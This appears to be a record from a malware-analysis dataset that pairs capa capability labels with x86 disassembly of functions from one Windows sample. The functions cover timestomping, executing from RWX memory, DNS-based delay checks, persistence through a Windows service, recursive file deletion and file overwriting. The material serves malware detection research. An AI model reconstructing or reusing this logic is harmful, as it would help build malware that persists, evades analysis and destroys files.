joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d5a
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
cmp dword [ebp + 8], 0xffffffff
jne 0x402d74
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402de0
cmp dword [ebp + 0x10], 0
jne 0x402db0
push 0x18
push 0
push dword [ebp + 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x402dab
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402de0
cmp dword [ebp + 0x10], 1
jne 0x402ddd
mov eax, dword [ebp + 0xc]
add eax, 0x10
push eax
mov eax, dword [ebp + 0xc]
add eax, 8
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x402dd8
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x402de0
mov eax, dword [ebp - 4]
leave
ret 0xc

Function at 0x402de4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d048
push 0x40b850
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x20], 0x4000000
and dword [ebp - 0x1c], 0
and dword [ebp - 0x24], 0
and dword [ebp - 4], 0
push 0x40
push 0x3000
push dword [ebp - 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x402e40
or dword [ebp - 4], 0xffffffff
jmp 0x402ea9
push dword [ebp - 0x20]
push 0x90
push dword [ebp - 0x24]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, 0x402e82
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 5], 0xe9
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [eax - 4], ecx
mov eax, dword [ebp - 0x24]
nop
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4032a5
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and dword [ebp - 0x14], 0
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0xc000000
push 1
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jne 0x403321
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x10], 0
je 0x403318
push dword [ebp + 0x10]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
leave
ret 0xc
Function at 0x40341f
Capabilities:
Check for time delay via gettickcount
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
and dword [ebp - 0x194], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x194], eax
push 0x40c73c
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403484
cmp dword [ebp + 8], 0xffffffff
je 0x403477
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x194]
cmp eax, dword [ebp + 8]
jb 0x403477
xor eax, eax
jmp 0x40348d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40344d
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4

Function at 0x403ae6
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
and dword [ebp - 0x4c], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
call fcn.004023c0
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push 0x40c458
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x158]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push 0x40c850
push 0x410e20
push 0x40c858
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x158]
push eax
push 1
push 2
push 1
push 0xf01ff
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
push 0x65
push dword [0x411888]
lea eax, [ebp - 0x158]
push eax
call fcn.00402eb8
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x14
call fcn.00403a88
leave
ret
Function at 0x404f2b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
cmp dword [ebp + 0xc], 1
jne 0x404fbf
mov dword [ebp - 4], 0x4022bf
mov eax, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov dword [ebp - 0x114], eax
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 4]
pop ecx
pop ecx
and dword [eax], 0
push 0x410e20
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x114]
test eax, eax
je 0x404faa
call fcn.00402199
xor eax, eax
jmp 0x404fc2
push 0
push 0
push 0
push 0x40492a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
leave
ret 0xc

Function at 0x405630
Capabilities:
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 8], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405682
cmp dword [ebp - 8], 0xffffffff
jne 0x405686
jmp 0x4056ff
push dword [ebp - 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
cmp eax, dword [ebp - 8]
jb 0x4056c5
jmp 0x4056ff
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 0
jl 0x4056d7
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xc], 1
jle 0x4056db
jmp 0x4056ff
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
add eax, 0x20
push eax
mov eax, dword [ebp - 0xc]
add eax, 4
push eax
call fcn.0040627d
mov ecx, dword [ebp - 0xc]
cmp eax, dword [ecx]
jne 0x4056ff
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
jne 0x405729
cmp dword [ebp - 0xc], 0
je 0x40571e
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
and dword [ebp - 0xc], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x405738
cmp dword [ebp + 0xc], 1
jne 0x405738
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc]
leave
ret 8
Function at 0x406077
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push esi
push edi
and dword [ebp - 0x10], 0
and dword [ebp - 0x20], 0
mov esi, 0x40cc04
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
and dword [ebp - 0x18], 0
or dword [ebp - 0x24], 0xffffffff
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x4060ce
jmp 0x406277
mov dword [0x4118a0], 1
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x14], eax
push 0
push 0
push 0
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40611b
jmp 0x406277
call fcn.00402d02
call fcn.00406001
mov dword [ebp - 0x1c], eax
cmp dword [0x410f2c], 5
jne 0x406142
cmp dword [0x410f30], 2
jne 0x406142
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x40614f
mov eax, dword [0x410cfc]
add eax, 0x1040
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movsx eax, byte [eax]
test eax, eax
je 0x406253
and dword [ebp - 0x138], 0
and dword [ebp - 0x134], 0
mov eax, dword [ebp - 0x20]
add eax, 0x28
mov dword [ebp - 0x134], eax
jmp 0x406188
mov eax, dword [ebp - 0x134]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
cmp dword [eax + 4], 0
jbe 0x4061b9
push dword [ebp - 0x10]
mov eax, dword [ebp - 0x134]
add eax, 8
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4061b7
mov dword [ebp - 0x138], 1
jmp 0x4061b9
jmp 0x406179
cmp dword [ebp - 0x138], 1
jne 0x40623b
push 0x104
push 0
lea eax, [ebp - 0x130]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004023c0
push eax
push 0x410d10
push 0x40cc10
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
mov eax, dword [ebp - 0x134]
push dword [eax + 4]
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax]
push ecx
lea eax, [ebp - 0x130]
push eax
call fcn.004013ae
push dword [ebp - 0x1c]
lea eax, [ebp - 0x130]
push eax
call fcn.00405f71
mov eax, dword [0x410cfc]
push dword [eax + 0x1008]
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x10], eax
jmp 0x40614f
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret 4
Function at 0x40627d
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
or dword [ebp - 4], 0xffffffff
and dword [ebp - 8], 0
jne 0x406302
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
and dword [ebp - 0xc], 0
jmp 0x4062ae
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x100
jge 0x406302
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 8
jmp 0x4062cd
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jle 0x4062f4
mov eax, dword [ebp - 0x10]
and eax, 1
je 0x4062ea
mov eax, dword [ebp - 0x10]
shr eax, 1
xor eax, 0xedb88320
mov dword [ebp - 0x10], eax
jmp 0x4062f2
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
jmp 0x4062c6
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [ecx + eax*4], edx
jmp 0x4062a7
and dword [ebp - 0x18], 0
jmp 0x40630f
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp + 0xc]
jae 0x406348
and dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
xor eax, dword [ebp - 4]
and eax, 0xff
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
shr eax, 8
and eax, 0xffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4]
mov dword [ebp - 4], eax
jmp 0x406308
mov eax, dword [ebp - 4]
not eax
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x406365
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp - 4]
leave
ret 8
Function at 0x40636c
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0x18], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x14], 0
or dword [ebp - 0x10], 0xffffffff
and dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4063b8
jmp 0x406445
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4063fd
jmp 0x406445
push 0
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.004022d2
mov eax, dword [ebp - 8]
sub eax, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, 8
push eax
call fcn.0040627d
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
je 0x40643e
jmp 0x406445
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0xc], 0
je 0x406454
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 4], 0
je 0x406463
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x10], 0xffffffff
je 0x406472
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
leave
ret 4
Function at 0x4066d4
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5ac
mov dword [ebp - 0x19c], 1
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0x80000000
je 0x40670e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0
jne 0x406715
xor eax, eax
jmp 0x40685a
push 0xffffffffffffffff
call fcn.0040341f
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
inc eax
je 0x40684e
and dword [ebp - 0x5a8], 0
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp dword [ebp + 0x18], 1
jne 0x4067ac
push 0x400
push 0
lea eax, [ebp - 0x5a0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x5a8]
mov eax, dword [0x410cfc]
add eax, 0x7d8
push eax
push 0x40cc1c
lea eax, [ebp - 0x5a0]
push eax
call dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x5a0]
mov dword [ebp - 0x5a8], eax
push dword [ebp - 0x5a8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x5a4], eax
cmp dword [ebp - 0x5a4], 0
je 0x40682f
mov eax, dword [ebp - 0x5a4]
movsx eax, word [eax + 0xa]
push eax
mov eax, dword [ebp - 0x5a4]
mov eax, dword [eax + 0xc]
push dword [eax]
lea eax, [ebp - 0x5ac]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 0x14]
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
movzx eax, byte [ebp - 0x5a9]
push eax
movzx eax, byte [ebp - 0x5aa]
push eax
movzx eax, byte [ebp - 0x5ab]
push eax
movzx eax, byte [ebp - 0x5ac]
push eax
push 0x40cc24
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x40684e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
cmp dword [ecx + eax*4], 0x80000000
jne 0x406849
and dword [ebp - 0x19c], 0
jmp 0x40684e
jmp 0x40672e
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x19c]
leave
ret 0x14
Function at 0x40756e
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
push dword [ebp + 0xc]
push 0x40c534
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp + 8]
movsx eax, byte [eax + 0x2c]
cmp eax, 0x2e
je 0x407739
mov eax, dword [ebp + 8]
movzx eax, word [eax + 0x2c]
cmp eax, 0x2e2e
je 0x407739
and dword [ebp - 0x10c], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
and eax, 0x10
je 0x407638
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x40cdec
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call fcn.0040773d
cmp dword [0x4118a8], 1
jne 0x407633
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x407739
cmp dword [0x4118a8], 1
jne 0x407653
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x407739
push 0x2e
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x407739
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [0x4118a4], 0
jne 0x4076b8
push 0x40cc68
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4076b3
lea eax, [ebp - 0x108]
push eax
call fcn.0040836e
jmp 0x407739
jmp 0x407739
push 0x40cc64
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x407700
mov eax, dword [ebp + 0x10]
movsx eax, byte [eax]
test eax, eax
jne 0x4076e7
mov eax, dword [ebp + 8]
add eax, 0x2c
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x108]
push eax
call fcn.00407127
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407739
push 0x40cc68
push dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x407739
push 0x410d10
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x407739
lea eax, [ebp - 0x108]
push eax
call fcn.0040836e
leave
ret 0xc
Function at 0x40773d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
or dword [ebp - 0x354], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40ce24
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x407841
and dword [ebp - 0x358], 0
push 0x104
push 0
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
je 0x407841
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
and dword [ebp - 0x464], 0
jmp 0x407814
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x15
jge 0x407841
mov eax, dword [ebp - 0x464]
push dword [eax*4 + 0x40ea70]
push dword [ebp - 0x358]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40783f
jmp 0x40791c
jmp 0x407807
push 0x104
push 0
lea eax, [ebp - 0x350]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.0040756e
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x407910
cmp dword [0x4118a4], 1
jne 0x4078f8
movsx eax, byte [ebp - 0x350]
test eax, eax
je 0x4078f8
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4078f8
jmp 0x407910
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.0040756e
jmp 0x4078b3
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4
Function at 0x407c29
Capabilities:
Clear file content
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], 0x40ce54
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x410e20
push 0x40ce70
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x407fe3
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0x214], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x214], eax
push 0x208
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x407e9e
push 0
push 0
call dword [0x4118c4]
mov dword [ebp - 8], eax
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x408082
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
jmp 0x408092
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 4]
leave
ret 4